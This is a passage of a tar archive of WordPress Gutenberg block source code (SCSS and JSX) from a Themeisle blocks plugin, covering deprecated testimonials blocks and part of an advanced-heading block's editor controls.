				backgroundImageID: value.id,
				backgroundImageURL: value.url
			});
		};
		const removeBackground = () => {
			props.setAttributes({
				backgroundImageID: '',
				backgroundImageURL: ''
			});
		};
		const toggleDimming = () => {
			props.setAttributes({ backgroundDimmed: ! props.attributes.backgroundDimmed });
		};
		const toggleParallax = () => {
			props.setAttributes({ backgroundParallax: ! props.attributes.backgroundParallax });
		};
		const style = {
			background: 'color' === props.attributes.backgroundType ? props.attributes.backgroundColor : `url(' ${ props.attributes.backgroundImageURL } ')`
		};
		return [
			<InspectorControls>
				<PanelBody
					title={ __( 'Background' ) }
				>
					<SelectControl
						label={ __( 'Background Type' ) }
						value={ props.attributes.backgroundType }
						options={ [
							{ label: 'Color', value: 'color' },
							{ label: 'Image', value: 'image' }
						] }
						onChange={ changeType }
					/>
					{ 'color' === props.attributes.backgroundType ?
						<ColorPalette
							label={ __( 'Background Color' ) }
							value={ props.attributes.backgroundColor }
							onChange={ changeColor }
						/>					:
						props.attributes.backgroundImageURL ?
							<Fragment>
								<ToggleControl
									label={ __( 'Dimmed Background' ) }
									checked={ props.attributes.backgroundDimmed }
									onChange={ toggleDimming }
								/>
								<ToggleControl
									label={ __( 'Parallax Background' ) }
									checked={ props.attributes.backgroundParallax }
									onChange={ toggleParallax }
								/>
								<img
									src={ props.attributes.backgroundImageURL }
								/>
								<Button
									isLarge
									onClick={ removeBackground }
									style={ { marginTop: '10px' } }
								>
									{ __( 'Change or Remove Image' ) }
								</Button>
							</Fragment>						:
							<MediaPlaceholder
								icon="format-image"
								labels={ {
									title: __( 'Background Image' ),
									name: __( 'an image' )
								} }
								value={ props.attributes.backgroundImageID }
								onSelect={ changeBackground }
								accept="image/*"
								allowedTypes={ ALLOWED_MEDIA_TYPES }
							/>
					}
				</PanelBody>
			</InspectorControls>,

			<div
				className={ classnames(
					props.className,
					{ 'is-dim': 'image' === props.attributes.backgroundType && props.attributes.backgroundDimmed },
					{ 'is-parallax': 'image' === props.attributes.backgroundType && props.attributes.backgroundParallax },
				) }
				style={ style }
			>
				<InnerBlocks
					allowedBlocks={ ALLOWED_BLOCKS }
					template={ TEMPLATE }
				/>
			</div>
		];
	},

	save: props => {
		const style = {
			background: 'color' === props.attributes.backgroundType ? props.attributes.backgroundColor : `url(' ${ props.attributes.backgroundImageURL } ')`
		};
		return (
			<div
				className={ classnames(
					'wp-block-themeisle-blocks-testimonials-area',
					{ 'is-dim': 'image' === props.attributes.backgroundType && props.attributes.backgroundDimmed },
					{ 'is-parallax': 'image' === props.attributes.backgroundType && props.attributes.backgroundParallax },
				) }
				style={ style }
			>
				<InnerBlocks.Content/>
			</div>
		);
	}
});
deprecated/testimonials/editor.scss000066600000005723151151722020013551 0ustar00// These margins make sure that nested blocks stack/overlay with the parent block chrome
// This is sort of an experiment at making sure the editor looks as much like the end result as possible
// Potentially the rules here can apply to all nested blocks and enable stacking, in which case it should be moved elsewhere
.wp-block-themeisle-blocks-testimonials-area .editor-block-list__layout {
	margin-left: 0;
	margin-right: 0;

	// This max-width is used to constrain the main editor panel, it should not cascade into columns
	.editor-block-list__block {
		max-width: none;
	}
}

.wp-block-themeisle-blocks-testimonials-area {
	display: block;
	position: relative;

	&.is-dim {
		&:before {
			content: "";
			position: absolute;
			top: 0;
			left: 0;
			bottom: 0;
			right: 0;
			background-color: rgba(0,0,0,.5);
		}

		.wp-block-column {
			z-index: 1;
		}
	}

	&.is-parallax {
		background-attachment: fixed !important;
	}

	> .editor-inner-blocks > .editor-block-list__layout {
		display: flex;

		> [data-type="themeisle-blocks/testimonials-block"] {
			display: flex;
			flex-direction: column;
			flex: 1;
			width: 0;

			.editor-block-list__block-edit {
				margin-top: 12px;
				flex-basis: 100%;
			}
		}
	}

	.wp-block-column {
		&:first-child {
			margin-left: 0;
		}

		&:last-child {
			margin-right: 0;
		}

		position: relative;
		padding: 20px 10px;
		margin: 0 20px;

		.wp-block-image {
			margin: 0 auto;
			width: 100px;
			height: auto;

			img {
				width: 100px;
				border-radius: 100%;
				box-shadow: 0 10px 25px 0 rgba(0,0,0,.3);
			}
		}

		h3 {
			&.testimonials-title {
				margin: 20px 0 0 0 !important;
			}
		}

		.testimonials-content {
			&:before {
				content: open-quote;
			}

			&:after {
				content: close-quote;
			}
		}
	}

	> .editor-inner-blocks > .editor-block-list__layout {
		display: flex;

		> [data-type="themeisle-blocks/testimonials-block"] {
			display: flex;
			flex-direction: column;
			flex: 1;
			width: 0;

			.editor-block-list__block-edit {
				flex-basis: 100%;
			}
		}
	}
}

[data-type="themeisle-blocks/testimonials-area"] {
	&[data-align="full"] {
		.wp-block-themeisle-blocks-testimonials-area {
			padding: 100px 150px;
		}
	}

	&[data-align="wide"] {
		.wp-block-themeisle-blocks-testimonials-area {
			padding: 30px 50px;
		}
	}
}

@media ( max-width:768px ) {
	.wp-block-themeisle-blocks-testimonials-area {
		display: block;

		> .editor-inner-blocks > .editor-block-list__layout {
			display: block;
	
			> [data-type="themeisle-blocks/testimonials-block"] {
				display: flex;
				flex-direction: column;
				flex: 1;
				width: auto;
	
				.editor-block-list__block-edit {
					margin-top: 12px;
					flex-basis: 100%;
				}
			}
		}
	}
}

@media ( max-width:1024px ) {
	[data-type="themeisle-blocks/testimonials-area"] {
		&[data-align="full"] {
			.wp-block-themeisle-blocks-testimonials-area {
				padding: 100px 20px;
			}
		}

		&[data-align="wide"] {
			.wp-block-themeisle-blocks-testimonials-area {
				padding: 30px 50px;
			}
		}
	}
}deprecated/testimonials/style.scss000066600000002577151151722020013427 0ustar00.wp-block-themeisle-blocks-testimonials-area {
	display: flex;
	position: relative;

	&.is-dim {
		&:before {
			content: "";
			position: absolute;
			top: 0;
			left: 0;
			bottom: 0;
			right: 0;
			background-color: rgba(0,0,0,.5);
		}

		.wp-block-column {
			z-index: 1;
		}
	}

	&.is-parallax {
		background-attachment: fixed !important;
	}

	&.alignfull {
		padding: 100px;
	}

	&.alignwide {
		padding: 100px 150px;
	}

	.wp-block-column {
		position: relative;
		flex: 1;
		padding: 20px 25px;
		margin: 0 20px;

		.wp-block-image {
			margin: 0 auto;
			width: 100px;
			height: auto;

			img {
				border-radius: 100%;
				box-shadow: 0 10px 25px 0 rgba(0,0,0,.3);
			}
		}

		h3 {
			&.testimonials-title {
				margin: 20px 0 0 0 !important;
			}
		}

		.testimonials-content {
			&:before {
				content: open-quote;
			}

			&:after {
				content: close-quote;
			}
		}
	}
}


@media ( min-width:768px ) {
	.wp-block-themeisle-blocks-testimonials-area {
		.wp-block-column {

			&:first-child {
				margin-left: 0;
			}
	
			&:last-child {
				margin-right: 0;
			}
		}
	}
}

@media ( max-width:768px ) {
	.wp-block-themeisle-blocks-testimonials-area {
		display: block;

		.wp-block-column {
			margin: 20px;
		}
	}
}

@media ( max-width:1024px ) {
	.wp-block-themeisle-blocks-testimonials-area {

		&.alignfull {
			padding: 100px 20px;
		}
	
		&.alignwide {
			padding: 100px 20px;
		}
	}
}deprecated/testimonials/index.js000066600000000212151151722020013017 0ustar00/**
 * Testimonials Block
 */
import './style.scss';
import './editor.scss';
import './testimonials-area';
import './testimonials-block';
deprecated/testimonials/testimonials-block.js000066600000004065151151722020015525 0ustar00/**
 * WordPress dependencies
 */

const { __ } = wp.i18n;

const { registerBlockType } = wp.blocks;

const {
	InnerBlocks,
	InspectorControls,
	PanelColorSettings
} = wp.editor;

/**
 * Internal dependencies
 */
registerBlockType( 'themeisle-blocks/testimonials-block', {
	title: __( 'Testimonials Block' ),
	description: __( 'Display kudos from customers and clients and display them on your website.' ),
	parent: [ 'themeisle-blocks/testimonials-area' ],
	icon: 'testimonial',
	category: 'themeisle-blocks',
	keywords: [
		'testimonials',
		'clients',
		'quotes'
	],
	attributes: {
		backgroundColor: {
			type: 'string',
			default: '#ffffff'
		}
	},

	supports: {
		inserter: false
	},

	edit: props => {
		const setBackgroundColor = value => {
			props.setAttributes({ backgroundColor: value });
		};
		const TEMPLATE =  [
			[ 'core/image', {
				align: 'center'
			} ],
			[ 'core/heading', {
				content: __( 'John Doe' ),
				className: 'testimonials-title',
				align: 'center',
				level: 3
			} ],
			[ 'core/heading', {
				content: __( 'Jedi Master' ),
				className: 'testimonials-subtitle',
				align: 'center',
				level: 6
			} ],
			[ 'core/paragraph', {
				content: __( 'What is the point of being alive if you don’t at least try to do something remarkable?' ),
				className: 'testimonials-content',
				align: 'center'
			} ]
		];

		return [
			<InspectorControls>
				<PanelColorSettings
					title={ __( 'Color Settings' ) }
					initialOpen={ true }
					colorSettings={ [
						{
							value: props.attributes.backgroundColor,
							onChange: setBackgroundColor,
							label: __( 'Background Color' )
						}
					] }
				>
				</PanelColorSettings>
			</InspectorControls>,

			<div
				className="wp-block-column"
				style={ {
					backgroundColor: props.attributes.backgroundColor
				}}
			>
				<InnerBlocks
					template={ TEMPLATE }
				/>
			</div>
		];
	},

	save: props => {
		return (
			<div
				className="wp-block-column"
				style={ {
					backgroundColor: props.attributes.backgroundColor
				}}
			>
				<InnerBlocks.Content/>
			</div>
		);
	}
});
deprecated/index.js000066600000000400151151722020010303 0ustar00/**
 * Blocks to be deprecated.
 */
import './accordion-box/index.js';
import './chart/index.js';
import './notice/index.js';
import './pricing-table/index.js';
import './services/index.js';
import './testimonials/index.js';
import './tweetable/index.js';
advanced-heading/style.scss000066600000000115151151722020011740 0ustar00span {
	&.wp-block-themeisle-blocks-advanced-heading {
		display: block;
	}
}advanced-heading/index.js000066600000100101151151722020011344 0ustar00/**
 * External dependencies
 */
import classnames from 'classnames';
import hexToRgba from 'hex-rgba';
import GoogleFontLoader from 'react-google-font-loader';

/**
 * WordPress dependencies.
 */
const { __ } = wp.i18n;

const {
	createBlock,
	registerBlockType
} = wp.blocks;

const {
	Button,
	Dashicon,
	Dropdown,
	DropdownMenu,
	IconButton,
	PanelBody,
	RangeControl,
	SVG,
	ToggleControl,
	Toolbar
} = wp.components;

const {
	compose,
	withState
} = wp.compose;

const { withSelect } = wp.data;

const {
	AlignmentToolbar,
	BlockControls,
	ColorPalette,
	InspectorControls,
	RichText
} = wp.editor;

const { Fragment } = wp.element;

const { withViewportMatch } = wp.viewport;

/**
 * Internal dependencies
 */
import './editor.scss';
import './style.scss';
import './registerHeadingHighlight.js';

import { headingIcon } from '../../helpers/icons.js';

import GoogleFontsControl from '../../components/google-fonts-control/index.js';

import ControlPanelControl from '../../components/control-panel-control/index.js';

import ResponsiveControl from '../../components/responsive-control/index.js';

import SizingControl from '../../components/sizing-control/index.js';

registerBlockType( 'themeisle-blocks/advanced-heading', {
	title: __( 'Advanced Heading' ),
	description: __( 'Advanced Heading gives a spin to editor\'s Heading block with much needed customization options.' ),
	icon: headingIcon,
	category: 'themeisle-blocks',
	keywords: [
		__( 'heading' ),
		__( 'title' ),
		__( 'advanced heading' )
	],
	attributes: {
		id: {
			type: 'string'
		},
		content: {
			type: 'string',
			source: 'html',
			selector: 'h1,h2,h3,h4,h5,h6,div,p,span',
			default: ''
		},
		tag: {
			default: 'h2',
			type: 'string'
		},
		align: {
			type: 'string'
		},
		alignTablet: {
			type: 'string'
		},
		alignMobile: {
			type: 'string'
		},
		headingColor: {
			type: 'string',
			default: '#000000'
		},
		highlightColor: {
			type: 'string'
		},
		highlightBackground: {
			type: 'string'
		},
		fontSize: {
			type: 'number'
		},
		fontSizeTablet: {
			type: 'number'
		},
		fontSizeMobile: {
			type: 'number'
		},
		fontFamily: {
			type: 'string'
		},
		fontVariant: {
			type: 'string'
		},
		fontStyle: {
			type: 'string',
			default: 'normal'
		},
		textTransform: {
			type: 'string',
			default: 'none'
		},
		lineHeight: {
			type: 'number'
		},
		letterSpacing: {
			type: 'number'
		},
		textShadow: {
			type: 'boolean',
			default: false
		},
		textShadowColor: {
			type: 'string',
			default: '#000000'
		},
		textShadowColorOpacity: {
			type: 'number',
			default: 50
		},
		textShadowBlur: {
			type: 'number',
			default: 5
		},
		textShadowHorizontal: {
			type: 'number',
			default: 0
		},
		textShadowVertical: {
			type: 'number',
			default: 0
		},
		paddingType: {
			type: 'string',
			default: 'linked'
		},
		paddingTypeTablet: {
			type: 'string',
			default: 'linked'
		},
		paddingTypeMobile: {
			type: 'string',
			default: 'linked'
		},
		padding: {
			type: 'number',
			default: 0
		},
		paddingTablet: {
			type: 'number',
			default: 0
		},
		paddingMobile: {
			type: 'number',
			default: 0
		},
		paddingTop: {
			type: 'number',
			default: 0
		},
		paddingTopTablet: {
			type: 'number',
			default: 0
		},
		paddingTopMobile: {
			type: 'number',
			default: 0
		},
		paddingRight: {
			type: 'number',
			default: 0
		},
		paddingRightTablet: {
			type: 'number',
			default: 0
		},
		paddingRightMobile: {
			type: 'number',
			default: 0
		},
		paddingBottom: {
			type: 'number',
			default: 0
		},
		paddingBottomTablet: {
			type: 'number',
			default: 0
		},
		paddingBottomMobile: {
			type: 'number',
			default: 0
		},
		paddingLeft: {
			type: 'number',
			default: 0
		},
		paddingLeftTablet: {
			type: 'number',
			default: 0
		},
		paddingLeftMobile: {
			type: 'number',
			default: 0
		},
		marginType: {
			type: 'string',
			default: 'unlinked'
		},
		marginTypeTablet: {
			type: 'string',
			default: 'unlinked'
		},
		marginTypeMobile: {
			type: 'string',
			default: 'unlinked'
		},
		margin: {
			type: 'number',
			default: 0
		},
		marginTablet: {
			type: 'number',
			default: 0
		},
		marginMobile: {
			type: 'number',
			default: 0
		},
		marginTop: {
			type: 'number',
			default: 0
		},
		marginTopTablet: {
			type: 'number',
			default: 0
		},
		marginTopMobile: {
			type: 'number',
			default: 0
		},
		marginBottom: {
			type: 'number',
			default: 25
		},
		marginBottomTablet: {
			type: 'number',
			default: 25
		},
		marginBottomMobile: {
			type: 'number',
			default: 20
		}
	},

	transforms: {
		from: [
			{
				type: 'block',
				blocks: [ 'core/heading' ],
				transform: ({ content }) => {
					return createBlock( 'themeisle-blocks/advanced-heading', {
						content
					});
				}
			},
			{
				type: 'block',
				blocks: [ 'core/paragraph' ],
				transform: ({ content }) => {
					return createBlock( 'themeisle-blocks/advanced-heading', {
						content
					});
				}
			}
		],
		to: [
			{
				type: 'block',
				blocks: [ 'core/paragraph' ],
				transform: ({ content }) => {
					return createBlock( 'core/paragraph', {
						content
					});
				}
			}
		]
	},

	edit: compose([

		withSelect( ( select, props ) => {
			return {
				props
			};
		}),

		withState({
			tab: 'style',
			fontSizeViewType: 'desktop',
			alignmentViewType: 'desktop',
			paddingViewType: 'desktop',
			marginViewType: 'desktop'
		}),

		withViewportMatch({
			isLarger: '>= large',
			isLarge: '<= large',
			isSmall: '>= small',
			isSmaller: '<= small'
		})

	])( ({
		tab,
		fontSizeViewType,
		alignmentViewType,
		paddingViewType,
		marginViewType,
		setState,
		isLarger,
		isLarge,
		isSmall,
		isSmaller,
		props
	}) => {

		const {
			id,
			content,
			tag,
			align,
			alignTablet,
			alignMobile,
			headingColor,
			highlightColor,
			highlightBackground,
			fontSize,
			fontSizeTablet,
			fontSizeMobile,
			fontFamily,
			fontVariant,
			fontStyle,
			textTransform,
			lineHeight,
			letterSpacing,
			textShadow,
			textShadowColor,
			textShadowColorOpacity,
			textShadowBlur,
			textShadowHorizontal,
			textShadowVertical,
			paddingType,
			paddingTypeTablet,
			paddingTypeMobile,
			padding,
			paddingTablet,
			paddingMobile,
			paddingTop,
			paddingTopTablet,
			paddingTopMobile,
			paddingRight,
			paddingRightTablet,
			paddingRightMobile,
			paddingBottom,
			paddingBottomTablet,
			paddingBottomMobile,
			paddingLeft,
			paddingLeftTablet,
			paddingLeftMobile,
			marginType,
			marginTypeTablet,
			marginTypeMobile,
			margin,
			marginTablet,
			marginMobile,
			marginTop,
			marginTopTablet,
			marginTopMobile,
			marginBottom,
			marginBottomTablet,
			marginBottomMobile
		} = props.attributes;

		if ( id === undefined || id.substr( id.length - 8 ) !== props.clientId.substr( 0, 8 ) ) {
			const instanceId = `wp-block-themeisle-blocks-advanced-heading-${ props.clientId.substr( 0, 8 ) }`;
			props.setAttributes({ id: instanceId });
		}

		const isDesktop = ( isLarger && ! isLarge && isSmall && ! isSmaller );

		const isTablet = ( ! isLarger && ! isLarge && isSmall && ! isSmaller );

		const isMobile = ( ! isLarger && ! isLarge && ! isSmall && ! isSmaller );

		const changeFontSizeViewType = value => {
			setState({ fontSizeViewType: value });
		};

		const changeAlignmentViewType = value => {
			setState({ alignmentViewType: value });
		};

		const changePaddingViewType = value => {
			setState({ paddingViewType: value });
		};

		const changeMarginViewType = value => {
			setState({ marginViewType: value });
		};

		const changeContent = value => {
			props.setAttributes({ content: value });
		};

		const changeTag = value => {
			props.setAttributes({ tag: value });
		};

		const getTagIcon = value => {
			if ( 'h1' === value ) {
				return <SVG style={ { width: '25px', height: '20px' } }><text style={ { fontSize: '12px' } } x="0" y="15">H1</text></SVG>;
			}

			if ( 'h2' === value ) {
				return <SVG style={ { width: '25px', height: '20px' } }><text style={ { fontSize: '12px' } } x="0" y="15">H2</text></SVG>;
			}

			if ( 'h3' === value ) {
				return <SVG style={ { width: '25px', height: '20px' } }><text style={ { fontSize: '12px' } } x="0" y="15">H3</text></SVG>;
			}

			if ( 'h4' === value ) {
				return <SVG style={ { width: '25px', height: '20px' } }><text style={ { fontSize: '12px' } } x="0" y="15">H4</text></SVG>;
			}

			if ( 'h5' === value ) {
				return <SVG style={ { width: '25px', height: '20px' } }><text style={ { fontSize: '12px' } } x="0" y="15">H5</text></SVG>;
			}

			if ( 'h6' === value ) {
				return <SVG style={ { width: '25px', height: '20px' } }><text style={ { fontSize: '12px' } } x="0" y="15">H6</text></SVG>;
			}

			if ( 'div' === value ) {
				return <SVG style={ { width: '25px', height: '20px' } }><text style={ { fontSize: '12px' } } x="0" y="15">DIV</text></SVG>;
			}

			if ( 'p' === value ) {
				return <SVG style={ { width: '25px', height: '20px' } }><text x="0" y="15">P</text></SVG>;
			}

			if ( 'span' === value ) {
				return <SVG style={ { width: '25px', height: '20px' } }><text style={ { fontSize: '12px' } } x="0" y="15">SPAN</text></SVG>;
			}
		};

		const changeHeadingColor = value => {
			props.setAttributes({ headingColor: value });
		};

		const changeHighlightColor = value => {
			props.setAttributes({ highlightColor: value });
		};

		const changeHighlightBackground = value => {
			props.setAttributes({ highlightBackground: value });
		};

		const changeFontSize = value => {
			if ( 'desktop' === fontSizeViewType ) {
				props.setAttributes({ fontSize: value });
			}
			if ( 'tablet' === fontSizeViewType ) {
				props.setAttributes({ fontSizeTablet: value });
			}
			if ( 'mobile' === fontSizeViewType ) {
				props.setAttributes({ fontSizeMobile: value });
			}
		};

		let getFontSize = () => {
			let value;

			if ( 'desktop' === fontSizeViewType ) {
				value = fontSize;
			}

			if ( 'tablet' === fontSizeViewType ) {
				value = fontSizeTablet;
			}

			if ( 'mobile' === fontSizeViewType ) {
				value = fontSizeMobile;
			}

			return value;
		};

		getFontSize = getFontSize();

		const changeAlignment = value => {
			if ( 'desktop' === alignmentViewType ) {
				props.setAttributes({ align: value });
			}
			if ( 'tablet' === alignmentViewType ) {
				props.setAttributes({ alignTablet: value });
			}
			if ( 'mobile' === alignmentViewType ) {
				props.setAttributes({ alignMobile: value });
			}
		};

		let getAlignment = () => {
			let value;

			if ( 'desktop' === alignmentViewType ) {
				value = align;
			}

			if ( 'tablet' === alignmentViewType ) {
				value = alignTablet;
			}

			if ( 'mobile' === alignmentViewType ) {
				value = alignMobile;
			}

			return value;
		};

		getAlignment = getAlignment();

		const changeFontFamily = value => {
			props.setAttributes({
				fontFamily: value,
				fontVariant: 'normal',
				fontStyle: 'normal'
			});
		};

		const changeFontVariant = value => {
			props.setAttributes({ fontVariant: value });
		};

		const changeFontStyle = value => {
			props.setAttributes({ fontStyle: value });
		};

		const changeTextTransform = value => {
			props.setAttributes({ textTransform: value });
		};

		const changeLineHeight = value => {
			props.setAttributes({ lineHeight: value });
		};

		const changeLetterSpacing = value => {
			props.setAttributes({ letterSpacing: value });
		};

		const changeTextShadowColor = value => {
			props.setAttributes({ textShadowColor: value });
		};

		const changeTextShadow = value => {
			props.setAttributes({ textShadow: value });
		};

		const changeTextShadowColorOpacity = value => {
			props.setAttributes({ textShadowColorOpacity: value });
		};

		const changeTextShadowBlur = value => {
			props.setAttributes({ textShadowBlur: value });
		};

		const changeTextShadowHorizontal = value => {
			props.setAttributes({ textShadowHorizontal: value });
		};

		const changeTextShadowVertical = value => {
			props.setAttributes({ textShadowVertical: value });
		};

		const getPadding = type => {
			let value;

			if ( 'top' == type ) {
				if ( 'desktop' === paddingViewType ) {
					value = 'linked' === paddingType ? padding : paddingTop;
				}

				if ( 'tablet' === paddingViewType ) {
					value = 'linked' === paddingTypeTablet ? paddingTablet : paddingTopTablet;
				}

				if ( 'mobile' === paddingViewType ) {
					value = 'linked' === paddingTypeMobile ? paddingMobile : paddingTopMobile;
				}
			}

			if ( 'right' == type ) {
				if ( 'desktop' === paddingViewType ) {
					value = 'linked' === paddingType ? padding : paddingRight;
				}

				if ( 'tablet' === paddingViewType ) {
					value = 'linked' === paddingTypeTablet ? paddingTablet : paddingRightTablet;
				}

				if ( 'mobile' === paddingViewType ) {
					value = 'linked' === paddingTypeMobile ? paddingMobile : paddingRightMobile;
				}
			}

			if ( 'bottom' == type ) {
				if ( 'desktop' === paddingViewType ) {
					value = 'linked' === paddingType ? padding : paddingBottom;
				}

				if ( 'tablet' === paddingViewType ) {
					value = 'linked' === paddingTypeTablet ? paddingTablet : paddingBottomTablet;
				}

				if ( 'mobile' === paddingViewType ) {
					value = 'linked' === paddingTypeMobile ? paddingMobile : paddingBottomMobile;
				}
			}

			if ( 'left' == type ) {
				if ( 'desktop' === paddingViewType ) {
					value = 'linked' === paddingType ? padding : paddingLeft;
				}

				if ( 'tablet' === paddingViewType ) {
					value = 'linked' === paddingTypeTablet ? paddingTablet : paddingLeftTablet;
				}

				if ( 'mobile' === paddingViewType ) {
					value = 'linked' === paddingTypeMobile ? paddingMobile : paddingLeftMobile;
				}
			}

			return value;
		};

		const desktopPaddingType = {
			top: 'paddingTop',
			right: 'paddingRight',
			bottom: 'paddingBottom',
			left: 'paddingLeft'
		};

		const tabletPaddingType = {
			top: 'paddingTopTablet',
			right: 'paddingRightTablet',
			bottom: 'paddingBottomTablet',
			left: 'paddingLeftTablet'
		};

		const mobilePaddingType = {
			top: 'paddingTopMobile',
			right: 'paddingRightMobile',
			bottom: 'paddingBottomMobile',
			left: 'paddingLeftMobile'
		};

		const changePadding = ( type, value ) => {
			if ( 'desktop' === paddingViewType ) {
				if ( 'linked' === paddingType ) {
					props.setAttributes({ padding: value });
				} else {
					props.setAttributes({ [desktopPaddingType[type]]: value });
				}
			}

			if ( 'tablet' === paddingViewType ) {
				if ( 'linked' === paddingTypeTablet ) {
					props.setAttributes({ paddingTablet: value });
				} else {
					props.setAttributes({ [tabletPaddingType[type]]: value });
				}
			}

			if ( 'mobile' === paddingViewType ) {
				if ( 'linked' === paddingTypeMobile ) {
					props.setAttributes({ paddingMobile: value });
				} else {
					props.setAttributes({ [mobilePaddingType[type]]: value });
				}
			}
		};

		const changePaddingType = value => {
			if ( 'desktop' === paddingViewType ) {
				props.setAttributes({ paddingType: value });
			}
			if ( 'tablet' === paddingViewType ) {
				props.setAttributes({ paddingTypeTablet: value });
			}
			if ( 'mobile' === paddingViewType ) {
				props.setAttributes({ paddingTypeMobile: value });
			}
		};

		let getPaddingType = () => {
			let value;

			if ( 'desktop' === paddingViewType ) {
				value = paddingType;
			}
			if ( 'tablet' === paddingViewType ) {
				value = paddingTypeTablet;
			}
			if ( 'mobile' === paddingViewType ) {
				value = paddingTypeMobile;
			}

			return value;
		};

		getPaddingType = getPaddingType();

		const getMargin = type => {
			let value;

			if ( 'top' == type ) {
				if ( 'desktop' === marginViewType ) {
					value = 'linked' === marginType ? margin : marginTop;
				}

				if ( 'tablet' === marginViewType ) {
					value = 'linked' === marginTypeTablet ? marginTablet : marginTopTablet;
				}

				if ( 'mobile' === marginViewType ) {
					value = 'linked' === marginTypeMobile ? marginMobile : marginTopMobile;
				}
			}

			if ( 'bottom' == type ) {
				if ( 'desktop' === marginViewType ) {
					value = 'linked' === marginType ? margin : marginBottom;
				}

				if ( 'tablet' === marginViewType ) {
					value = 'linked' === marginTypeTablet ? marginTablet : marginBottomTablet;
				}

				if ( 'mobile' === marginViewType ) {
					value = 'linked' === marginTypeMobile ? marginMobile : marginBottomMobile;
				}
			}

			return value;
		};

		const desktopMarginType = {
			top: 'marginTop',
			bottom: 'marginBottom'
		};

		const tabletMarginType = {
			top: 'marginTopTablet',
			bottom: 'marginBottomTablet'
		};

		const mobileMarginType = {
			top: 'marginTopMobile',
			bottom: 'marginBottomMobile'
		};

		const changeMargin = ( type, value ) => {
			if ( 'desktop' === marginViewType ) {
				if ( 'linked' === marginType ) {
					props.setAttributes({ margin: value });
				} else {
					props.setAttributes({ [desktopMarginType[type]]: value });
				}
			}

			if ( 'tablet' === marginViewType ) {
				if ( 'linked' === marginTypeTablet ) {
					props.setAttributes({ marginTablet: value });
				} else {
					props.setAttributes({ [tabletMarginType[type]]: value });
				}
			}

			if ( 'mobile' === marginViewType ) {
				if ( 'linked' === marginTypeMobile ) {
					props.setAttributes({ marginMobile: value });
				} else {
					props.setAttributes({ [mobileMarginType[type]]: value });
				}
			}
		};

		const changeMarginType = value => {
			if ( 'desktop' === marginViewType ) {
				props.setAttributes({ marginType: value });
			}
			if ( 'tablet' === marginViewType ) {
				props.setAttributes({ marginTypeTablet: value });
			}
			if ( 'mobile' === marginViewType ) {
				props.setAttributes({ marginTypeMobile: value });
			}
		};

		let getMarginType = () => {
			let value;

			if ( 'desktop' === marginViewType ) {
				value = marginType;
			}
			if ( 'tablet' === marginViewType ) {
				value = marginTypeTablet;
			}
			if ( 'mobile' === marginViewType ) {
				value = marginTypeMobile;
			}

			return value;
		};

		getMarginType = getMarginType();

		let fontSizeStyle, stylesheet, textShadowStyle;

		if ( isDesktop ) {
			fontSizeStyle = {
				fontSize: `${ fontSize }px`
			};

			stylesheet = {
				textAlign: align,
				paddingTop: 'linked' === paddingType ? `${ padding }px` : `${ paddingTop }px`,
				paddingRight: 'linked' === paddingType ? `${ padding }px` : `${ paddingRight }px`,
				paddingBottom: 'linked' === paddingType ? `${ padding }px` : `${ paddingBottom }px`,
				paddingLeft: 'linked' === paddingType ? `${ padding }px` : `${ paddingLeft }px`,
				marginTop: 'linked' === marginType ? `${ margin }px` : `${ marginTop }px`,
				marginBottom: 'linked' === marginType ? `${ margin }px` : `${ marginBottom }px`
			};
		}

		if ( isTablet ) {
			fontSizeStyle = {
				fontSize: `${ fontSizeTablet }px`
			};

			stylesheet = {
				textAlign: alignTablet,
				paddingTop: 'linked' === paddingTypeTablet ? `${ paddingTablet }px` : `${ paddingTopTablet }px`,
				paddingRight: 'linked' === paddingTypeTablet ? `${ paddingTablet }px` : `${ paddingRightTablet }px`,
				paddingBottom: 'linked' === paddingTypeTablet ? `${ paddingTablet }px` : `${ paddingBottomTablet }px`,
				paddingLeft: 'linked' === paddingTypeTablet ? `${ paddingTablet }px` : `${ paddingLeftTablet }px`,
				marginTop: 'linked' === marginTypeTablet ? `${ marginTablet }px` : `${ marginTopTablet }px`,
				marginBottom: 'linked' === marginTypeTablet ? `${ marginTablet }px` : `${ marginBottomTablet }px`
			};
		}

		if ( isMobile ) {
			fontSizeStyle = {
				fontSize: `${ fontSizeMobile }px`
			};

			stylesheet = {
				textAlign: alignMobile,
				paddingTop: 'linked' === paddingTypeMobile ? `${ paddingMobile }px` : `${ paddingTopMobile }px`,
				paddingRight: 'linked' === paddingTypeMobile ? `${ paddingMobile }px` : `${ paddingRightMobile }px`,
				paddingBottom: 'linked' === paddingTypeMobile ? `${ paddingMobile }px` : `${ paddingBottomMobile }px`,
				paddingLeft: 'linked' === paddingTypeMobile ? `${ paddingMobile }px` : `${ paddingLeftMobile }px`,
				marginTop: 'linked' === marginTypeMobile ? `${ marginMobile }px` : `${ marginTopMobile }px`,
				marginBottom: 'linked' === marginTypeMobile ? `${ marginMobile }px` : `${ marginBottomMobile }px`
			};
		}

		if ( textShadow ) {
			textShadowStyle = {
				textShadow: `${ textShadowHorizontal }px ${ textShadowVertical }px ${ textShadowBlur }px ${  hexToRgba( ( textShadowColor ? textShadowColor : '#000000' ), textShadowColorOpacity ) }`
			};
		}

		const style = {
			color: headingColor,
			...fontSizeStyle,
			fontFamily: fontFamily ? fontFamily : 'inherit',
			fontWeight: 'regular' === fontVariant ? 'normal' : fontVariant,
			fontStyle: fontStyle,
			textTransform: textTransform,
			lineHeight: lineHeight && `${ lineHeight }px`,
			letterSpacing: letterSpacing && `${ letterSpacing }px`,
			...stylesheet,
			...textShadowStyle
		};

		return (
			<Fragment>
				<style>
					{ `.${ id } mark {
						color: ${ highlightColor };
						background: ${ highlightBackground };
					}` }
				</style>

				{ fontFamily && (
					<GoogleFontLoader fonts={ [ {
						font: fontFamily,
						weights: fontVariant && [ `${fontVariant + ( 'italic' === fontStyle ? ':i' : '' ) }` ]
					} ] } />
				) }

				<BlockControls>
					<DropdownMenu
						icon={ getTagIcon( tag ) }
						label={ __( 'Select tag' ) }
						className="components-toolbar"
						controls={ [
							{
								title: __( 'Heading 1' ),
								icon: getTagIcon( 'h1' ),
								onClick: () => changeTag( 'h1' )
							},
							{
								title: __( 'Heading 2' ),
								icon: getTagIcon( 'h2' ),
								onClick: () => changeTag( 'h2' )
							},
							{
								title: __( 'Heading 3' ),
								icon: getTagIcon( 'h3' ),
								onClick: () => changeTag( 'h3' )
							},
							{
								title: __( 'Heading 4' ),
								icon: getTagIcon( 'h4' ),
								onClick: () => changeTag( 'h4' )
							},
							{
								title: __( 'Heading 5' ),
								icon: getTagIcon( 'h5' ),
								onClick: () => changeTag( 'h5' )
							},
							{
								title: __( 'Heading 6' ),
